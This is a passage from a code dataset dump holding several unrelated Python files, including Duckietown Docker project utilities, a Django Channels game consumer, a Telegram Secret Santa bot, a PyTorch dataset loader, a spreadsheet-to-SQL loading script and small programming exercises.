\"VERSION\"], \"2\": [\"TYPE\", \"VERSION\"]}\n\nCANONICAL_ARCH = {\n \"arm\": \"arm32v7\",\n \"arm32v7\": \"arm32v7\",\n \"armv7l\": \"arm32v7\",\n \"armhf\": \"arm32v7\",\n \"x64\": \"amd64\",\n \"x86_64\": \"amd64\",\n \"amd64\": \"amd64\",\n \"Intel 64\": \"amd64\",\n \"arm64\": \"arm64v8\",\n \"arm64v8\": \"arm64v8\",\n \"armv8\": \"arm64v8\",\n \"aarch64\": \"arm64v8\",\n}\n\nBUILD_COMPATIBILITY_MAP = {\"arm32v7\": [\"arm32v7\"], \"arm64v8\": [\"arm32v7\", \"arm64v8\"], \"amd64\": [\"amd64\"]}\n\nDOCKER_LABEL_DOMAIN = \"org.duckietown.label\"\n\nCLOUD_BUILDERS = {\n \"arm32v7\": [\"build-arm.duckietown.org\"],\n \"arm64v8\": [\"build-arm.duckietown.org\"],\n \"amd64\": [\"ec2-3-210-65-73.compute-1.amazonaws.com\"],\n}\n\nTEMPLATE_TO_SRC = {\n \"template-basic\": {\n \"1\": lambda repo: (\"code\", \"/packages/{:s}/\".format(repo)),\n \"2\": lambda repo: (\"\", \"/code/{:s}/\".format(repo)),\n },\n \"template-ros\": {\n \"1\": lambda repo: (\"\", \"/code/catkin_ws/src/{:s}/\".format(repo)),\n \"2\": lambda repo: (\"\", \"/code/catkin_ws/src/{:s}/\".format(repo)),\n },\n \"template-core\": {\n \"1\": lambda repo: (\"\", \"/code/catkin_ws/src/{:s}/\".format(repo)),\n \"2\": lambda repo: (\"\", \"/code/catkin_ws/src/{:s}/\".format(repo)),\n },\n \"template-exercise\": {\"1\": lambda repo: (\"\", \"/code/catkin_ws/src/{:s}/\".format(repo))},\n}\n\nTEMPLATE_TO_LAUNCHFILE = {\n \"template-basic\": {\n \"1\": lambda repo: (\"launch.sh\", \"/launch/{:s}/launch.sh\".format(repo)),\n \"2\": lambda repo: (\"launchers\", \"/launch/{:s}\".format(repo)),\n },\n \"template-ros\": {\n \"1\": lambda repo: (\"launch.sh\", \"/launch/{:s}/launch.sh\".format(repo)),\n \"2\": lambda repo: (\"launchers\", \"/launch/{:s}\".format(repo)),\n },\n \"template-core\": {\n \"1\": lambda repo: (\"launch.sh\", \"/launch/{:s}/launch.sh\".format(repo)),\n \"2\": lambda repo: (\"launchers\", \"/launch/{:s}\".format(repo)),\n },\n \"template-exercise\": {\n \"1\": lambda repo: (\"launchers\", \"/launch/{:s}\".format(repo)),\n },\n}\n\nDISTRO_KEY = {\"1\": \"MAJOR\", \"2\": \"DISTRO\"}\n\nDOCKER_HUB_API_URL = {\n \"token\": \"https://auth.docker.io/token?scope=repository:{image}:pull&service=registry.docker.io\",\n \"digest\": \"https://registry-1.docker.io/v2/{image}/manifests/{tag}\",\n \"inspect\": \"https://registry-1.docker.io/v2/{image}/blobs/{digest}\",\n}\n\n\nclass DTProject:\n def __init__(self, path: str):\n self._adapters = []\n self._repository = None\n # use `fs` adapter by default\n self._path = os.path.abspath(path)\n self._adapters.append(\"fs\")\n # use `dtproject` adapter (required)\n self._project_info = self._get_project_info(self._path)\n self._type = self._project_info[\"TYPE\"]\n self._type_version = self._project_info[\"TYPE_VERSION\"]\n self._version = self._project_info[\"VERSION\"]\n self._adapters.append(\"dtproject\")\n # use `git` adapter if available\n if os.path.isdir(os.path.join(self._path, \".git\")):\n repo_info = self._get_repo_info(self._path)\n self._repository = SimpleNamespace(\n name=repo_info[\"REPOSITORY\"],\n sha=repo_info[\"SHA\"],\n detached=repo_info[\"BRANCH\"] == \"HEAD\",\n branch=repo_info[\"BRANCH\"],\n head_version=repo_info[\"VERSION.HEAD\"],\n closest_version=repo_info[\"VERSION.CLOSEST\"],\n repository_url=repo_info[\"ORIGIN.URL\"],\n repository_page=repo_info[\"ORIGIN.HTTPS.URL\"],\n index_nmodified=repo_info[\"INDEX_NUM_MODIFIED\"],\n index_nadded=repo_info[\"INDEX_NUM_ADDED\"],\n )\n self._adapters.append(\"git\")\n\n @property\n def path(self):\n return self._path\n\n @property\n def name(self):\n return (self._repository.name if self._repository else os.path.basename(self.path)).lower()\n\n @property\n def type(self):\n return self._type\n\n @property\n def type_version(self):\n return self._type_version\n\n @property\n def distro(self):\n return self._repository.branch.split(\"-\")[0] if self._repository else \"latest\"\n\n @property\n def version(self):\n return self._version\n\n @property\n def head_version(self):\n return self._repository.head_version if self._repository else \"latest\"\n\n @property\n def closest_version(self):\n return self._repository.closest_version if self._repository else \"latest\"\n\n @property\n def version_name(self):\n return self._repository.branch if self._repository else \"latest\"\n\n @property\n def url(self):\n return self._repository.repository_page if self._repository else None\n\n @property\n def sha(self):\n return self._repository.sha if self._repository else \"ND\"\n\n @property\n def adapters(self):\n return copy.copy(self._adapters)\n\n def is_release(self):\n if not self.is_clean():\n return False\n if self._repository and self.head_version != \"ND\":\n return True\n return False\n\n def is_clean(self):\n if self._repository:\n return (self._repository.index_nmodified + self._repository.index_nadded) == 0\n return True\n\n def is_dirty(self):\n return not self.is_clean()\n\n def is_detached(self):\n return self._repository.detached if self._repository else False\n\n def image(\n self,\n *,\n arch: str,\n registry: str,\n owner: str,\n version: Optional[str] = None,\n loop: bool = False,\n docs: bool = False,\n ) -> str:\n assert_canonical_arch(arch)\n loop = \"-LOOP\" if loop else \"\"\n docs = \"-docs\" if docs else \"\"\n if version is None:\n version = re.sub(r\"[^\\w\\-.]\", \"-\", self.version_name)\n\n return f\"{registry}/{owner}/{self.name}:{version}{loop}{docs}-{arch}\"\n\n def image_release(\n self,\n *,\n arch: str,\n owner: str,\n registry: str,\n docs: bool = False,\n ) -> str:\n if not self.is_release():\n raise ValueError(\"The project repository is not in a release state\")\n assert_canonical_arch(arch)\n docs = \"-docs\" if docs else \"\"\n version = re.sub(r\"[^\\w\\-.]\", \"-\", self.head_version)\n return f\"{registry}/{owner}/{self.name}:{version}{docs}-{arch}\"\n\n def ci_metadata(\n self,\n endpoint,\n *,\n arch: str,\n registry: str,\n owner: str,\n version: str\n ):\n image_tag = self.image(arch=arch, owner=owner, version=version, registry=registry)\n try:\n configurations = self.configurations()\n except NotImplementedError:\n configurations = {}\n # do docker inspect\n inspect = self.image_metadata(endpoint, arch=arch, owner=owner, version=version, registry=registry)\n\n # remove useless data\n del inspect[\"ContainerConfig\"]\n del inspect[\"Config\"][\"Labels\"]\n # compile metadata\n meta = {\n \"version\": \"1.0\",\n \"tag\": image_tag,\n \"image\": inspect,\n \"project\": {\n \"path\": self.path,\n \"name\": self.name,\n \"type\": self.type,\n \"type_version\": self.type_version,\n \"distro\": self.distro,\n \"version\": self.version,\n \"head_version\": self.head_version,\n \"closest_version\": self.closest_version,\n \"version_name\": self.version_name,\n \"url\": self.url,\n \"sha\": self.sha,\n \"adapters\": self.adapters,\n \"is_release\": self.is_release(),\n \"is_clean\": self.is_clean(),\n \"is_dirty\": self.is_dirty(),\n \"is_detached\": self.is_detached(),\n },\n \"configurations\": configurations,\n \"labels\": self.image_labels(\n endpoint,\n arch=arch,\n registry=registry,\n owner=owner,\n version=version,\n ),\n }\n # ---\n return meta\n\n def configurations(self) -> dict:\n if int(self._type_version) < 2:\n raise NotImplementedError(\n \"Project configurations were introduced with template \"\n \"types v2. Your project does not support them.\"\n )\n # ---\n configurations = {}\n if self._type_version == \"2\":\n configurations_file = os.path.join(self._path, \"configurations.yaml\")\n if os.path.isfile(configurations_file):\n configurations = _parse_configurations(configurations_file)\n # ---\n return configurations\n\n def configuration(self, name: str) -> dict:\n configurations = self.configurations()\n if name not in configurations:\n raise KeyError(f\"Configuration with name '{name}' not found.\")\n return configurations[name]\n\n def code_paths(self):\n # make sure we support this project version\n if self.type not in TEMPLATE_TO_SRC or self.type_version not in TEMPLATE_TO_SRC[self.type]:\n raise ValueError(\n \"Template {:s} v{:s} for project {:s} is not supported\".format(\n self.type, self.type_version, self.path\n )\n )\n # ---\n return TEMPLATE_TO_SRC[self.type][self.type_version](self.name)\n\n def launch_paths(self):\n # make sure we support this project version\n if (\n self.type not in TEMPLATE_TO_LAUNCHFILE\n or self.type_version not in TEMPLATE_TO_LAUNCHFILE[self.type]\n ):\n raise ValueError(\n \"Template {:s} v{:s} for project {:s} is not supported\".format(\n self.type, self.type_version, self.path\n )\n )\n # ---\n return TEMPLATE_TO_LAUNCHFILE[self.type][self.type_version](self.name)\n\n def image_metadata(\n self,\n endpoint,\n arch: str,\n owner: str,\n registry: str,\n version: str\n ):\n client = _docker_client(endpoint)\n image_name = self.image(arch=arch, owner=owner, version=version, registry=registry)\n try:\n image = client.images.get(image_name)\n return image.attrs\n except (APIError, ImageNotFound):\n raise Exception(f\"Cannot get image metadata for {image_name!r}: \\n {traceback.format_exc()}\")\n\n def image_labels(\n self,\n endpoint,\n *,\n arch: str,\n owner: str,\n registry: str,\n version: str\n ):\n client = _docker_client(endpoint)\n image_name = self.image(arch=arch, owner=owner, version=version, registry=registry)\n try:\n image = client.images.get(image_name)\n return image.labels\n except (APIError, ImageNotFound):\n return None\n\n def remote_image_metadata(self, arch: str, owner: str, registry: str):\n assert_canonical_arch(arch)\n image = f\"{registry}/{owner}/{self.name}\"\n tag = f\"{self.version_name}-{arch}\"\n return self.inspect_remote_image(image, tag)\n\n @staticmethod\n def _get_project_info(path):\n metafile = os.path.join(path, \".dtproject\")\n # if the file '.dtproject' is missing\n if not os.path.exists(metafile):\n msg = f\"The path '{metafile}' does not appear to be a Duckietown project. \"\n msg += \"\\nThe metadata file '.dtproject' is missing.\"\n raise UserError(msg)\n # load '.dtproject'\n with open(metafile, \"rt\") as metastream:\n metadata = metastream.readlines()\n # empty metadata?\n if not metadata:\n msg = \"The metadata file '.dtproject' is empty.\"\n raise UserError(msg)\n # parse metadata\n metadata = {\n p[0].strip().upper(): p[1].strip() for p in [line.split(\"=\") for line in metadata if line.strip()]\n }\n # look for version-agnostic keys\n for key in REQUIRED_METADATA_KEYS[\"*\"]:\n if key not in metadata:\n msg = f\"The metadata file '.dtproject' does not contain the key '{key}'.\"\n raise UserError(msg)\n # validate version\n version = metadata[\"TYPE_VERSION\"]\n if version == \"*\" or version not in REQUIRED_METADATA_KEYS:\n msg = \"The project version %s is not supported.\" % version\n raise UserError(msg)\n # validate metadata\n for key in REQUIRED_METADATA_KEYS[version]:\n if key not in metadata:\n msg = f\"The metadata file '.dtproject' does not contain the key '{key}'.\"\n raise UserError(msg)\n # metadata is valid\n metadata[\"PATH\"] = path\n return metadata\n\n @staticmethod\n def _get_repo_info(path):\n sha = _run_cmd([\"git\", \"-C\", f'\"{path}\"', \"rev-parse\", \"HEAD\"])[0]\n branch = _run_cmd([\"git\", \"-C\", f'\"{path}\"', \"rev-parse\", \"--abbrev-ref\", \"HEAD\"])[0]\n head_tag = _run_cmd(\n [\n \"git\",\n \"-C\",\n f'\"{path}\"',\n \"describe\",\n \"--exact-match\",\n \"--tags\",\n \"HEAD\",\n \"2>/dev/null\",\n \"||\",\n \":\",\n ]\n )\n head_tag = head_tag[0] if head_tag else \"ND\"\n closest_tag = _run_cmd([\"git\", \"-C\", f'\"{path}\"', \"tag\"])\n closest_tag = closest_tag[-1] if closest_tag else \"ND\"\n origin_url = _run_cmd([\"git\", \"-C\", f'\"{path}\"', \"config\", \"--get\", \"remote.origin.url\"])[0]\n if origin_url.endswith(\".git\"):\n origin_url = origin_url[:-4]\n if origin_url.endswith(\"/\"):\n origin_url = origin_url[:-1]\n repo = origin_url.split(\"/\")[-1]\n # get info about current git INDEX\n porcelain = [\"git\", \"-C\", f'\"{path}\"', \"status\", \"--porcelain\"]\n modified = _run_cmd(porcelain + [\"--untracked-files=no\"])\n nmodified = len(modified)\n added = _run_cmd(porcelain)\n # we are not counting files with .resolved extension\n added = list(filter(lambda f: not f.endswith(\".resolved\"), added))\n nadded = len(added)\n # return info\n return {\n \"REPOSITORY\": repo,\n \"SHA\": sha,\n \"BRANCH\": branch,\n \"VERSION.HEAD\": head_tag,\n \"VERSION.CLOSEST\": closest_tag,\n \"ORIGIN.URL\": origin_url,\n \"ORIGIN.HTTPS.URL\": _remote_url_to_https(origin_url),\n \"INDEX_NUM_MODIFIED\": nmodified,\n \"INDEX_NUM_ADDED\": nadded,\n }\n\n @staticmethod\n def inspect_remote_image(image, tag):\n res = requests.get(DOCKER_HUB_API_URL[\"token\"].format(image=image)).json()\n token = res[\"token\"]\n # ---\n res = requests.get(\n DOCKER_HUB_API_URL[\"digest\"].format(image=image, tag=tag),\n headers={\n \"Accept\": \"application/vnd.docker.distribution.manifest.v2+json\",\n \"Authorization\": \"Bearer {0}\".format(token),\n },\n ).text\n digest = json.loads(res)[\"config\"][\"digest\"]\n # ---\n res = requests.get(\n DOCKER_HUB_API_URL[\"inspect\"].format(image=image, tag=tag, digest=digest),\n headers={\"Authorization\": \"Bearer {0}\".format(token)},\n ).json()\n return res\n\n\ndef assert_canonical_arch(arch):\n if arch not in CANONICAL_ARCH.values():\n raise ValueError(\n f\"Given architecture {arch} is not supported. \"\n f\"Valid choices are: {', '.join(list(set(CANONICAL_ARCH.values())))}\"\n )\n\n\ndef canonical_arch(arch):\n if arch not in CANONICAL_ARCH:\n raise ValueError(\n f\"Given architecture {arch} is not supported. \"\n f\"Valid choices are: {', '.join(list(set(CANONICAL_ARCH.values())))}\"\n )\n # ---\n return CANONICAL_ARCH[arch]\n\n\ndef dtlabel(key, value=None):\n label = f\"{DOCKER_LABEL_DOMAIN}.{key.lstrip('.')}\"\n if value is not None:\n label = f\"{label}={value}\"\n return label\n\n\ndef get_cloud_builder(arch: str) -> str:\n arch = canonical_arch(arch)\n return random.choice(CLOUD_BUILDERS[arch])\n\n\ndef _remote_url_to_https(remote_url):\n ssh_pattern = \"git@([^:]+):([^/]+)/(.+)\"\n res = re.search(ssh_pattern, remote_url, re.IGNORECASE)\n if res:\n return f\"https://{res.group(1)}/{res.group(2)}/{res.group(3)}\"\n return remote_url\n\n\ndef _run_cmd(cmd):\n cmd = \" \".join(cmd)\n return [line for line in subprocess.check_output(cmd, shell=True).decode(\"utf-8\").split(\"\\n\") if line]\n\n\ndef _parse_configurations(config_file: str) -> dict:\n with open(config_file, \"rt\") as fin:\n configurations_content = yaml.load(fin, Loader=yaml.SafeLoader)\n if \"version\" not in configurations_content:\n raise ValueError(\"The configurations file must have a root key 'version'.\")\n if configurations_content[\"version\"] == \"1.0\":\n return configurations_content[\"configurations\"]\n\n\ndef _docker_client(endpoint):\n return (\n endpoint\n if isinstance(endpoint, docker.DockerClient)\n else docker.DockerClient(base_url=sanitize_docker_baseurl(endpoint))\n )\n","sub_path":"utils/dtproject_utils.py","file_name":"dtproject_utils.py","file_ext":"py","file_size_in_byte":17660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"44830983","text":"import logging\nimport json\nfrom channels.sessions import channel_session\nfrom channels import Group\nfrom chat.models import Room\nfrom game_board.models import Player\n\nlog = logging.getLogger(__name__)\n\n@channel_session\ndef ws_connect(message):\n log.debug(\"ws_connect\")\n _, label, player_id = message['path'].decode('ascii').strip('/').split('/')\n room = Room.objects.get(label=label)\n data = {'action': 'add_player', 'add_player': {'id': player_id}}\n Group(\"game-board-\" + label).send({\"text\": json.dumps(data)})\n Group(\"game-board-\" + label).add(message.reply_channel)\n message.channel_session['room'] = room.label\n\n\n@channel_session\ndef ws_receive(message):\n data = json.loads(message['text'])\n label = message.channel_session['room']\n if data['action'] == 'remove_player':\n Player.objects.filter(id=data['remove_player']['id']).delete()\n if data['action'] == 'destroy_room':\n room = Room.objects.get(label=message.channel_session['room'])\n room.delete()\n if data['action'] == 'remove_gold':\n data['remove_gold']['username'] = Player.objects.get(id=data['remove_gold']['id']).user.username\n Group(\"game-board-\" + label).send({'text': json.dumps(data)})\n\n\n@channel_session\ndef ws_disconnect(message):\n label = message.channel_session['room']\n Group(\"game-board-\" + label).discard(message.reply_channel)\n","sub_path":"game_board/consumers.py","file_name":"consumers.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"195280804","text":"# Chapter-3: Arrays\n# Array-Min-to-Front\n# Given an array of comparable values, move the lowest element to array's front, shifting back any elements previous ahead of it. Do not otherwise change the order of the elements in the array. Given [4,2,1,3,5] return [1,4,2,3,5]. Do this without using built-in functions\n\n# Assume argument passed is a non-empty array\ndef minToFront(arr):\n min = arr[0]\n minPos = 0\n\n for i in range(1, len(arr)):\n if min > arr[i]:\n min = arr[i]\n minPos = i\n\n for i in range(minPos, 0, -1):\n arr[i] = arr[i - 1]\n\n arr[0] = min\n\nmyArr = [8,9,4,10]\nprint(\"The original array is {}\").format(myArr)\nminToFront(myArr)\nprint(\"The changed array is {}\").format(myArr)\n","sub_path":"Chapter-03-Arrays/Array-Min-to-Front/Array-Min-to-Front.py","file_name":"Array-Min-to-Front.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"190058165","text":"def cmp(t,i):\r\n return (t[i-1],t[0])\r\n\r\nn,c=map(int,input().split())\r\nl=[]\r\nfor i in range(n):\r\n tmp=input().split()\r\n tmp[2]=int(tmp[2])\r\n l.append(tuple(tmp))\r\nl.sort(key=lambda x:cmp(x,c))\r\nfor i in l:\r\n print(*i)\r\n","sub_path":"1028.py","file_name":"1028.py","file_ext":"py","file_size_in_byte":233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"478348111","text":"from telegram.ext import Updater\nfrom telegram import Bot\nfrom telegram.ext import CommandHandler\nfrom telegram.ext import MessageHandler, Filters\n#from telegram.ext.filters import Filters\nfrom numpy.random import permutation\nfrom itertools import product\nfrom emoji import emojize\nimport logging\n\n\nclass User():\n def __init__(self, name, userID):\n self.name = name\n self.userChatID = userID\n self.partner = \"\"\n\nclass SecretSantaBot():\n def __init__(self):\n global participants\n global updater\n global dispatcher\n self.participants =[]\n #TODO Add the token of your Telegrambot ! \n t = ''\n self.updater = Updater(token=t, use_context=True)\n self.dispatcher = self.updater.dispatcher\n logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.INFO)\n #TODO:Add session for different chats !\n\n def hello(self, update, context):\n #TODO: add Emojis !\n context.bot.send_message(chat_id=update.effective_chat.id, text=\"Hello, I'm the lovely secret Santa bot Sesa.\"+emojize(\":gift::santa::gift:\",use_aliases=True)+\"\\nIf you want to participate, make sure to start a private chat with me !!\"+emojize(\":bangbang:\",use_aliases=True)+\"!!11!!!\\n\")\n commandHello = \"/hello or /help : show this message\\n\"\n commandJoin = \"/join : join the event\\n\"\n commandLeave = \"/leave : leave the event\\n\"\n commandShow = \"/show : list all participants\\n\"\n commandStart = \"/start : start partner selection\"+emojize(\":gift:\",use_aliases=True)+\"\\n\"\n commandReset = \"/reset : remove all participants (NOT IMPLEMENTED YET)\\n\"\n\n allCommands = commandHello+commandJoin+commandLeave+commandShow+commandStart+commandReset\n context.bot.send_message(chat_id=update.effective_chat.id, text=\"You can use the following commands:\\n\"+allCommands)\n\n def messageUser(self, update, context, message, userID):\n print(userID)\n context.bot.send_message(chat_id=userID, text=message)\n\n\n def startEvent(self, update, context):\n if not self.participants:\n context.bot.send_message(chat_id=update.effective_chat.id, text=\"Sorry, nobody is participating\")\n return\n if len(self.participants)<=1:\n context.bot.send_message(chat_id=update.effective_chat.id, text=\"Not enough dudes are participating\")\n return\n copy = self.participants\n print(copy)\n notFinished = True\n while notFinished:\n ownPartner = False\n copy = permutation(copy)\n # hash then permutate ! to check if the result is valid without knowing the names ?\n print(\"Permutation :\")\n for i in range(0,len(self.participants)):\n print(copy[i].name)\n for i in range(0, len(self.participants)):\n #someone is his own partner ?\n if self.participants[i].name == copy[i].name:\n print(\"Partner Mapping is false: \"+ self.participants[i].name +\":\"+copy[i].name)\n ownPartner = True\n break;\n if (ownPartner):\n continue\n print(\"Now check unique Partners\")\n allUnique = True\n\n #TODO: use more efficient method to check for duplicates. E.g. use Set()\n for i,j in product(range(0, len(self.participants)), range(0, len(self.participants))):\n if (j != i):\n if copy[i].name == copy[j].name:\n allUnique = False\n break;\n #unique partners and noone is his own partner\n if allUnique:\n notFinished = False\n print(\"finished with : \")\n for i in range(0,len(self.participants)):\n print(copy[i].name)\n\n # map the permuation result to the participants, to set their partners\n for i in range(0,len(self.participants)):\n self.participants[i].partner = copy[i].name\n\n #TODO: use hashes to check if copy does not contain duplicates of one person ! \n #check again that no participant has himself as partner\n for p in self.participants:\n if p.name == p.partner:\n print(\"ERROR with partner mapping !!\")\n print(p.name + \" : \" + p.partner)\n context.bot.send_message(chat_id=update.effective_chat.id, text=\"Sorry something went wrong with the partner mapping\")\n return\n\n #send message with the partner to the participants\n for p in self.participants:\n message = emojize(\":gift:\",use_aliases=True)+\"Your Secret Santa partner is \" + p.partner\n self.messageUser(update,context,message,p.userChatID)\n\n def addParticipant(self, update, context):\n userID = update.message.from_user.id\n #name = ''.join(context.args)\n name = update.message.from_user.first_name\n respondMessage =\"\"\n #check if user exists\n for p in self.participants:\n if p.name == name:\n context.bot.send_message(chat_id=update.effective_chat.id, text=name+ \"is participating already\")\n return\n elif p.userChatID == userID:\n context.bot.send_message(chat_id=update.effective_chat.id, text=name+ \" is already participating as \"+p.name)\n return\n self.messageUser(update,context, \"Hi \" + name +\".\\n You have joined the secret santa event.\",userID)\n respondMessage = respondMessage+name+\" joined\"+emojize(\":gift:\",use_aliases=True)\n #context.bot.send_message(chat_id=update.effective_chat.id, text=name+\" joined\")\n p = User(name, userID)\n self.participants.append(p)\n #self.participants.append(name)\n result =\"\"\n for s in self.participants:\n result += (s.name + \"\\n\")\n result = \"Participants: \\n\" +result\n respondMessage = respondMessage+\"\\n\"+result\n context.bot.send_message(chat_id=update.effective_chat.id, text=respondMessage)\n\n def resetParticipants(self, update, context):\n self.participants = []\n context.bot.send_message(chat_id=update.effective_chat.id, text=\"No presents this year ?\"+emojize(\":flushed:\"+\"\\n\"+\"Particiant list has been reset.\", use_aliases=True))\n\n\n def removeParticipant(self, update, context):\n #name = update.message.text\n userID = update.message.from_user.id\n name = update.message.from_user.first_name\n #name = ''.join(context.args)\n if not self.participants:\n context.bot.send_message(chat_id=update.effective_chat.id, text=\"Nobody is participating yet\")\n return\n for p in self.participants:\n print(\"NAME: \"+p.name +\", \"+str(p.userChatID)+\":\"+str(userID))\n if p.name == name and p.userChatID == userID:\n self.participants.remove(p)\n context.bot.send_message(chat_id=update.effective_chat.id, text=\"Ok, \"+p.name+ \" won't get a present !!!111!\")\n self.messageUser(update,context,\"You have left the Secret Santa Event\", userID)\n return\n context.bot.send_message(chat_id=update.effective_chat.id, text=\"Sorry, i don't know \"+ name)\n\n def checkBotExists(self):\n print(self.updater.bot.get_me())\n\n def checkEvenNumberOfParticipants(self, update, context):\n number = len(self.participants)\n if (number < 1):\n context.bot.send_message(chat_id=update.effective_chat.id, text=\"Nothing to show\")\n return\n respondMessage = str(number)+ \" dudes are participating\\n\"\n #context.bot.send_message(chat_id=update.effective_chat.id, text=)\n if number != 0:\n result =\"\"\n for s in self.participants:\n result += (s.name + \"\\n\")\n respondMessage = respondMessage + \"Participants: \\n\"+result\n context.bot.send_message(chat_id=update.effective_chat.id, text=respondMessage)\n\n\n def unknown(self, update, context):\n context.bot.send_message(chat_id=update.effective_chat.id, text=\"Sorry, I didn't understand that command.\")\n\n def run(self):\n start_handler = CommandHandler('hello', self.hello)\n help_handler = CommandHandler('help', self.hello)\n addParticipantHandler = CommandHandler('join', self.addParticipant)\n removeParticipantHandler = CommandHandler('leave', self.removeParticipant)\n numberOfParticipantsHandler = CommandHandler('show', self.checkEvenNumberOfParticipants)\n resetEventHandler = CommandHandler('reset', self.resetParticipants)\n startEventHandler = CommandHandler('start', self.startEvent)\n\n self.dispatcher.add_handler(start_handler)\n self.dispatcher.add_handler(help_handler)\n self.dispatcher.add_handler(addParticipantHandler)\n self.dispatcher.add_handler(removeParticipantHandler)\n self.dispatcher.add_handler(numberOfParticipantsHandler)\n self.dispatcher.add_handler(resetEventHandler)\n self.dispatcher.add_handler(startEventHandler)\n\n #last handler is default/unknown handler!\n unknown_handler = MessageHandler(Filters.command, self.unknown)\n self.dispatcher.add_handler(unknown_handler)\n\n self.checkBotExists()\n self.updater.start_polling()\n\n \n","sub_path":"SecretSanta/SecretSanta.py","file_name":"SecretSanta.py","file_ext":"py","file_size_in_byte":9415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"14191668","text":"# -*- coding: utf-8 -*-\n# @Time : 11:16\n# @File : dataset.py\n# @Software : PyCharm\nimport numpy as np\nimport torch.utils.data as data\ntrain_path = '../data/train.csv'\nnp.random.seed(0)\n\n\nclass EmojiDataset(data.Dataset):\n def __init__(self, method='train'):\n if method not in ['train', 'val', 'test']:\n raise Exception('not implement')\n self.method = method\n self.x = []\n self.y = []\n self.x_train, self.y_train, self.x_val, self.y_val = read_train()\n\n def __len__(self):\n return len(self.x)\n\n def __getitem__(self, item):\n if self.method == 'train':\n return self.x_train[item], self.y_train[item]\n if self.method == 'val':\n return self.x_val[item], self.y_val[item]\n\n\ndef read_train():\n content = np.recfromcsv(train_path)\n np.random.shuffle(content)\n x = []\n y = []\n for line in content:\n y.append(int(line[0])),\n x.append(np.array(line[1].decode().split(), dtype=int).reshape((1, 48, 48)))\n x = np.array(x)\n y = np.array(y)\n print(len(x))\n x_train = x[:int(len(x)*0.7)]\n y_train = y[:int(len(y)*0.7)]\n x_val = x[int(len(x)*0.7):]\n y_val = y[int(len(y)*0.7):]\n assert len(x_train) == len(y_train) and len(x_val) == len(y_val)\n return x_train, y_train, x_val, y_val\n\n\nif __name__ == '__main__':\n read_train()\n","sub_path":"hw3/dataset/loader.py","file_name":"loader.py","file_ext":"py","file_size_in_byte":1375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"225296314","text":"#!/usr/bin/env python\r\n# coding: utf-8\r\n\r\n# In[1]:\r\n\r\n\r\nfrom pathos_config import *\r\n\r\n\r\n# In[2]:\r\n\r\nfrom dotenv import load_dotenv\r\nload_dotenv()\r\nimport os\r\ncurrent_schema = os.environ.get(\"schema\")\r\n\r\n\r\n# # load data from local system\r\n\r\n# In[3]:\r\n\r\ncf7 = pd.read_excel(\"cf7.xlsx\",engine='openpyxl')\r\n\r\n#cf7 = pd.read_excel('cf7.xlsx')\r\ncf7_verbatim = pd.read_excel(\"cf7verbatim.xlsx\",engine='openpyxl')\r\n\r\n\r\n# In[4]:\r\n\r\n\r\ncf8 = pd.read_excel(\"cf8.xlsx\",engine='openpyxl')\r\ncf8_verbatim = pd.read_excel(\"cf8verbatim.xlsx\",engine='openpyxl')\r\n\r\n\r\n# In[5]:\r\n\r\n\r\ncf20 = pd.read_excel(\"ICCS_CF2020.xlsx\",engine='openpyxl')\r\n\r\n\r\n# In[6]:\r\n\r\n\r\n# #renaming locations\r\ncf7['reg1'].replace(['PEEL', 'YORK'], ['Peel', 'York'], inplace=True)\r\n# cf8_verbatim.jurisdiction.replace(['Region of Peel', 'Toronto'], ['Peel', 'City of Toronto'], inplace=True)\r\n\r\n\r\n# In[7]:\r\n\r\n\r\n#delete useless column which creating trouble while concat\r\ndel cf7_verbatim['id']\r\n\r\n\r\n# In[ ]:\r\n\r\n\r\n\r\n\r\n\r\n# In[8]:\r\n\r\n\r\ntry:\r\n truncate_table(table_name= 'cf7', schema = current_schema)\r\nexcept:\r\n print(\"not available\")\r\n\r\n\r\n# In[9]:\r\n\r\n\r\ntry:\r\n truncate_table(table_name= 'cf7_verbatim', schema = current_schema)\r\nexcept:\r\n print(\"not available\")\r\n\r\n\r\n# In[10]:\r\n\r\n\r\n#engine.execute('TRUNCATE generic.initial_data RESTART IDENTITY;')\r\ncf7.to_sql('cf7', con=engine, index=False, if_exists= 'append', schema=current_schema)\r\ncf7_verbatim.to_sql('cf7_verbatim', con=engine, index=False, if_exists= 'append', schema=current_schema)\r\n\r\n\r\n# In[11]:\r\n\r\n\r\ntry:\r\n truncate_table(table_name= 'cf8', schema = current_schema)\r\nexcept:\r\n print(\"not available\")\r\n\r\n\r\n# In[12]:\r\n\r\n\r\ntry:\r\n truncate_table(table_name= 'cf8_verbatim', schema = current_schema)\r\nexcept:\r\n print(\"not available\")\r\n\r\n\r\n# In[13]:\r\n\r\n\r\ntry:\r\n truncate_table(table_name= 'cf20', schema = current_schema)\r\nexcept:\r\n print(\"not available\")\r\n\r\n\r\n# In[14]:\r\n\r\n\r\n#engine.execute('TRUNCATE generic.from_ml_team RESTART IDENTITY;')\r\ncf8.to_sql('cf8', con=engine, index=False, if_exists= 'append', schema=current_schema)\r\ncf8_verbatim.to_sql('cf8_verbatim', con=engine, index=False, if_exists= 'append', schema=current_schema)\r\n\r\n\r\n# In[15]:\r\n\r\n\r\ncf20.to_sql('cf20', con=engine, index=False, if_exists= 'append', schema=current_schema)\r\n\r\n\r\n# In[1]:\r\n\r\n\r\n#import os\r\n#os.system('jupyter nbconvert --to python load_iccs_client_sheet.ipynb')\r\n\r\n\r\n# In[ ]:\r\n\r\n\r\n\r\n\r\n","sub_path":"ICCS/load_iccs_client_sheet.py","file_name":"load_iccs_client_sheet.py","file_ext":"py","file_size_in_byte":2412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"121214320","text":"# -*- coding: utf-8 -*-\nimport random\nimport Tkinter #import von Tkinter\nimport tkMessageBox #import vom Message Fenster\n\n#öffnen vom Fenster\nwindow = Tkinter.Tk()\n\n#Text ausgabe\ngreeting = 